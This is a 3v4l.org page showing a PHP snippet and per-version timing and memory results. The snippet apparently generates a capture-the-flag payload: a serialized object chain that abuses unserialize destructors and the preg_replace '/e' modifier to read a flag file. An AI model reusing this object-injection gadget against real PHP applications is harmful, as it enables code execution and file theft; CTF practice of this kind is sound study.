3v4l.org

run code in 300+ PHP versions simultaneously
<?php class Filter { protected $pattern; protected $repl; function __construct($pattern, $repl) { $this->pattern = $pattern; $this->repl = $repl; } function filter($data) { return preg_replace($this->pattern, $this->repl, $data); } function __destruct(){ echo "BYE BITCH\n"; } }; class Post { protected $title; protected $text; protected $filters; function __construct($title, $text, $filters) { $this->title = $title; $this->text = $text; $this->filters = $filters; } function get_title() { return htmlspecialchars($this->title); } function display_post() { $text = htmlspecialchars($this->text); foreach ($this->filters as $filter) $text = $filter->filter($text); return $text; } function __destruct() { // debugging stuff $s = "<!-- POST " . htmlspecialchars($this->title); $text = htmlspecialchars($this->text); echo 'WOAH ITS A FILTER '.'"'.$this->filters.'"'; foreach ($this->filters as $filter) $text = $filter->filter($text); $s = $s . ": " . $text; $s = $s . " -->"; echo $s; } }; $standard_filter_set = [new Filter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>"), new Filter("/\[b\](.*)\[\/b\]/i", "<b>\\1</b>"), new Filter("/\[img\](.*)\[\/img\]/i", "<img src='\\1'>"), new Filter("/\[br\]/i", "<br>")]; echo json_encode(serialize(new Post("hue", "br", [new Filter("/hue/e", "file_get_contents('/home/daedalus/flag.txt')"), new Filter("/moni/", "i repor u")])));

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.70.0140.00416.88
8.3.60.0070.01418.68
8.3.50.0190.00222.21
8.3.40.0090.00619.17
8.3.30.0090.00619.17
8.3.20.0030.00520.34
8.3.10.0080.00023.65
8.3.00.0000.00819.63
8.2.180.0070.01425.92
8.2.170.0150.00619.34
8.2.160.0100.01022.96
8.2.150.0040.00425.66
8.2.140.0080.00024.66
8.2.130.0040.00426.16
8.2.120.0040.00419.89
8.2.110.0050.00522.37
8.2.100.0060.00617.88
8.2.90.0000.00819.30
8.2.80.0050.00518.00
8.2.70.0030.00617.74
8.2.60.0000.00817.93
8.2.50.0030.00618.07
8.2.40.0060.00320.01
8.2.30.0000.00718.25
8.2.20.0040.00417.94
8.2.10.0000.00818.18
8.2.00.0040.00417.93
8.1.280.0190.00325.92
8.1.270.0050.00323.83
8.1.260.0070.00026.35
8.1.250.0030.00528.09
8.1.240.0000.00923.92
8.1.230.0120.00019.29
8.1.220.0040.00417.74
8.1.210.0040.00418.77
8.1.200.0030.00717.38
8.1.190.0040.00417.60
8.1.180.0030.00618.10
8.1.170.0050.00318.75
8.1.160.0070.00021.93
8.1.150.0000.00719.01
8.1.140.0000.00717.55
8.1.130.0050.00317.74
8.1.120.0040.00417.71
8.1.110.0000.00817.54
8.1.100.0000.00817.70
8.1.90.0060.00317.62
8.1.80.0000.00817.66
8.1.70.0000.00817.54
8.1.60.0090.00017.77
8.1.50.0030.00617.75
8.1.40.0040.00417.63
8.1.30.0000.00917.75
8.1.20.0060.00317.84
8.1.10.0030.00617.72
8.1.00.0030.00617.52
8.0.300.0070.00018.77
8.0.290.0000.00717.00
8.0.280.0000.00718.42
8.0.270.0030.00317.32
8.0.260.0000.00717.32
8.0.250.0040.00417.20
8.0.240.0080.00017.08
8.0.230.0060.00317.16
8.0.220.0030.00317.02
8.0.210.0000.00717.13
8.0.200.0000.00717.27
8.0.190.0040.00417.18
8.0.180.0040.00417.18
8.0.170.0030.00517.19
8.0.160.0000.00717.15
8.0.150.0040.00417.00
8.0.140.0040.00417.03
8.0.130.0000.00613.58
8.0.120.0080.00017.06
8.0.110.0030.00517.21
8.0.100.0030.00517.19
8.0.90.0040.00416.97
8.0.80.0080.01117.16
8.0.70.0000.00717.05
8.0.60.0040.00417.10
8.0.50.0070.00017.07
8.0.30.0110.00917.44
8.0.20.0100.00817.40
8.0.10.0000.00817.23
8.0.00.0070.01016.99
7.4.330.0020.00215.02
7.4.320.0060.00016.71
7.4.300.0000.00716.74
7.4.290.0000.00716.80
7.4.280.0070.00416.89
7.4.270.0000.00716.83
7.4.260.0030.00316.85
7.4.250.0050.00316.81
7.4.240.0040.00416.90
7.4.230.0040.00416.73
7.4.220.0090.01116.79
7.4.210.0060.01216.76
7.4.200.0040.00416.75
7.4.160.0130.00316.74
7.4.150.0070.01917.40
7.4.140.0080.01117.86
7.4.130.0080.00916.76
7.4.120.0060.01216.79
7.4.110.0030.01416.88
7.4.100.0090.00916.73
7.4.90.0090.00916.92
7.4.80.0130.01019.39
7.4.70.0120.00816.68
7.4.60.0110.00816.72
7.4.50.0060.00316.68
7.4.40.0130.00416.81
7.4.30.0030.01616.68
7.4.00.0130.00315.05
7.3.330.0000.00613.52
7.3.320.0030.00313.32
7.3.310.0040.00416.35
7.3.300.0030.00316.41
7.3.290.0080.00616.54
7.3.280.0090.00916.52
7.3.270.0140.00417.40
7.3.260.0090.00916.77
7.3.250.0140.00516.55
7.3.240.0150.00616.53
7.3.230.0070.01016.48
7.3.210.0090.00916.55
7.3.200.0110.00819.39
7.3.190.0100.00716.89
7.3.180.0090.00916.89
7.3.170.0180.00316.52
7.3.160.0140.00716.76
7.2.330.0090.00916.81
7.2.320.0120.00817.00
7.2.310.0060.01216.89
7.2.300.0070.01016.86
7.2.290.0070.01716.73
7.2.60.0110.00417.25
7.1.200.0030.00916.03
7.1.100.0030.00718.48
7.1.70.0090.00417.35
7.1.60.0130.01319.11
7.1.50.0030.01517.35
7.1.00.0070.07322.55
7.0.200.0000.01016.99
7.0.140.0030.07322.08
7.0.90.0170.04019.89
7.0.80.0200.05720.06
7.0.70.0600.07019.90
7.0.60.0630.08020.00
7.0.50.0700.06720.19
7.0.40.0100.08320.18
7.0.30.0030.08720.09
7.0.20.0170.08020.13
7.0.10.0100.08320.03
7.0.00.0030.08020.07
5.6.280.0000.07720.93
5.6.240.0100.05720.71
5.6.230.0070.06320.52
5.6.220.0030.08320.57
5.6.210.0130.05720.60
5.6.200.0130.08021.10
5.6.190.0070.07320.96
5.6.180.0070.04321.08
5.6.170.0130.06320.99
5.6.160.0070.07321.05
5.6.150.0030.06021.09
5.6.140.0170.07321.12
5.6.130.0130.07320.96
5.6.120.0100.05020.95
5.6.110.0130.07321.05
5.6.100.0130.07321.17
5.6.90.0130.08021.11
5.6.80.0070.05720.45
5.6.70.0170.05320.40
5.6.60.0130.05020.32
5.6.50.0070.04320.43
5.6.40.0070.08320.30
5.6.30.0100.07720.33
5.6.20.0030.05720.47
5.6.10.0030.06020.33
5.6.00.0130.04320.44
5.5.380.0100.07720.43
5.5.370.0070.07720.39
5.5.360.0070.07720.50
5.5.350.0030.05320.48
5.5.340.0100.08320.85
5.5.330.0100.08020.88
5.5.320.0100.07720.79
5.5.310.0100.07720.93
5.5.300.0070.05020.75
5.5.290.0030.07320.94
5.5.280.0070.08020.90
5.5.270.0030.09020.89
5.5.260.0030.08020.77
5.5.250.0070.08320.71
5.5.240.0100.07320.20
5.5.230.0070.07720.18
5.5.220.0230.06320.20
5.5.210.0000.06720.18
5.5.200.0070.07720.20
5.5.190.0170.04020.17
5.5.180.0030.07320.29
5.5.160.0100.07720.17
5.5.150.0100.04320.13
5.5.140.0030.08020.29
5.5.130.0030.07320.24
5.5.120.0070.08020.00
5.5.110.0030.08320.29
5.5.100.0100.07720.09
5.5.90.0130.04320.11
5.5.80.0130.07020.16
5.5.70.0000.05320.17
5.5.60.0100.07020.07
5.5.50.0130.05320.11
5.5.40.0130.06720.01
5.5.30.0130.07320.04
5.5.20.0100.07320.01
5.5.10.0130.07320.04
5.5.00.0000.05320.02
5.4.450.0030.07719.56
5.4.440.0200.05019.53
5.4.430.0030.08719.38
5.4.420.0030.04719.41
5.4.410.0030.07319.24
5.4.400.0000.05018.88
5.4.390.0070.05719.20
5.4.380.0030.08319.14
5.4.370.0070.08319.13
5.4.360.0030.05719.05
5.4.350.0030.08019.20
5.4.340.0170.08019.18
5.4.320.0170.07319.03
5.4.310.0100.05719.18
5.4.300.0070.07719.13
5.4.290.0070.05019.09
5.4.280.0100.04319.13
5.4.270.0100.04019.15
5.4.260.0130.04018.95
5.4.250.0100.03719.19
5.4.240.0070.05319.20
5.4.230.0130.06019.22
5.4.220.0100.07019.03
5.4.210.0030.08319.13
5.4.200.0100.07019.20
5.4.190.0100.04319.04
5.4.180.0100.07319.22
5.4.170.0200.06719.01
5.4.160.0100.07319.21
5.4.150.0070.06319.16
5.4.140.0100.06316.44
5.4.130.0070.04316.34
5.4.120.0000.07016.41
5.4.110.0030.04716.44
5.4.100.0070.07316.52
5.4.90.0070.06016.52
5.4.80.0130.06716.38
5.4.70.0130.07316.53
5.4.60.0100.04316.48
5.4.50.0130.07316.46
5.4.40.0070.07316.52
5.4.30.0030.06716.42
5.4.20.0030.04016.33
5.4.10.0100.05716.41
5.4.00.0170.06715.86
5.3.290.0030.07314.61
5.3.280.0270.06314.60
5.3.270.0070.07014.76
5.3.260.0100.07314.63
5.3.250.0000.05714.71
5.3.240.0100.04714.68
5.3.230.0200.03314.54
5.3.220.0030.06314.54
5.3.210.0130.06314.56
5.3.200.0170.06714.72
5.3.190.0070.07314.64
5.3.180.0000.07714.72
5.3.170.0070.08014.53
5.3.160.0130.06314.61
5.3.150.0130.06714.54
5.3.140.0130.06714.59
5.3.130.0100.07314.55
5.3.120.0030.08014.63
5.3.110.0100.07314.54
5.3.100.0100.07713.98
5.3.90.0170.07014.00
5.3.80.0100.07714.04
5.3.70.0000.05713.92
5.3.60.0070.07014.16
5.3.50.0000.07713.90
5.3.40.0130.04713.94
5.3.30.0030.07313.89
5.3.20.0100.07013.59
5.3.10.0100.05013.61
5.3.00.0070.08013.64
5.2.170.0070.04711.07
5.2.160.0000.05311.21
5.2.150.0070.06011.28
5.2.140.0100.04711.21
5.2.130.0130.05311.21
5.2.120.0030.05311.04
5.2.110.0130.05311.18
5.2.100.0130.04711.04
5.2.90.0030.06711.17
5.2.80.0030.06011.17
5.2.70.0100.03711.17
5.2.60.0000.06011.19
5.2.50.0170.04011.11
5.2.40.0030.06011.03
5.2.30.0070.06011.00
5.2.20.0030.04311.00
5.2.10.0100.05711.02
5.2.00.0030.06010.83
5.1.60.0000.0379.89
5.1.50.0070.0509.88
5.1.40.0030.0339.88
5.1.30.0070.05310.43
5.1.20.0000.06010.41
5.1.10.0070.04010.19
5.1.00.0070.0339.97
5.0.50.0000.0438.57
5.0.40.0000.0438.50
5.0.30.0030.0638.23
5.0.20.0030.0438.32
5.0.10.0030.0238.08
5.0.00.0030.0638.03
4.4.90.0000.0237.11
4.4.80.0030.0207.11
4.4.70.0030.0277.11
4.4.60.0000.0207.11
4.4.50.0070.0337.11
4.4.40.0000.0577.11
4.4.30.0030.0237.11
4.4.20.0030.0377.11
4.4.10.0030.0337.11
4.4.00.0000.0537.11
4.3.110.0000.0277.11
4.3.100.0000.0337.11
4.3.90.0070.0107.11
4.3.80.0000.0477.11
4.3.70.0000.0377.11
4.3.60.0070.0337.11
4.3.50.0030.0377.11
4.3.40.0000.0437.11
4.3.30.0000.0207.11
4.3.20.0030.0307.11
4.3.10.0000.0207.11
4.3.00.0000.0177.11

preferences:
50.25 ms | 401 KiB | 5 Q